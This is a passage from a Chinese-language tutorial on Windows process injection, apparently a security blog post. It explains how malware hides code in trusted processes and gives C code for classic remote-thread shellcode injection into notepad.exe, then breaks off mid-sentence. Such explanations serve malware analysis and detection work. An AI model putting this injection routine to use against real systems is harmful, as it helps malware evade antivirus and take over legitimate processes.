前言
进程注入是一种众所周知的技术,恶意程序利用它在进程的内存中插入并执行代码。
进程注入是一种恶意程序广泛使用的防御规避技术。大多数情况下,恶意程序使用进程注入来动态运行代码,这意味着实际的恶意代码不需要直接写入磁盘上的文件中,以避免被防病毒软件的静态检测所发现。
简单来说,进程注入就是将一段数据从一个进程传输到另一个进程的方法,这种注入过程可以发生在执行操作的同一进程(自注入)上,也可发生在外部进程上。在注入外部进程的情况下,攻击者通常会选择受信任的合法进程,例如正在运行的应用程序或系统进程,其目的是未经授权地访问和操纵这些进程,同时也希望能够隐藏自己注入的恶意代码,以逃避安全软件和防御者的检测。
无论是在同一进程还是远程进程中,为了在内存中注入和执行代码,攻击者会使用 Windows API 的不同组合。这些 API 在注入逻辑中有不同的用途,具体使用的函数调用数量和特定的 Windows API 可能会有所不同,这取决于所选的代码注入方法。
已有多种方法实现在 Windows 进程空间内的代码注入和执行,下面列出了常见的进程注入方法(以注入 shellcode 为例,注入 DLL 类似)。
ps:文中设计的示例代码为了精简,方便看清逻辑,并未添加相关错误处理。
传统的远程线程注入
该注入技术通过实例化远程线程来实现在目标进程中的执行。
工作流程:
-
获取目标进程的句柄
-
在目标进程中为 payload 分配空间
-
将 payload 写入目标进程分配的空间中
-
创建一个线程执行注入代码
int main()
{
SIZE_T payloadLen = sizeof(payload);
DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);
WaitForSingleObject(hThread, 500);
return 0;
}
根据该注入技术,可以拓展出许多基于该技术的变种,在获取目标进程句柄上,恶意程序可以通过创建一个新的进程来实现(CreateProcess、CreateProcessWithLogonW、Create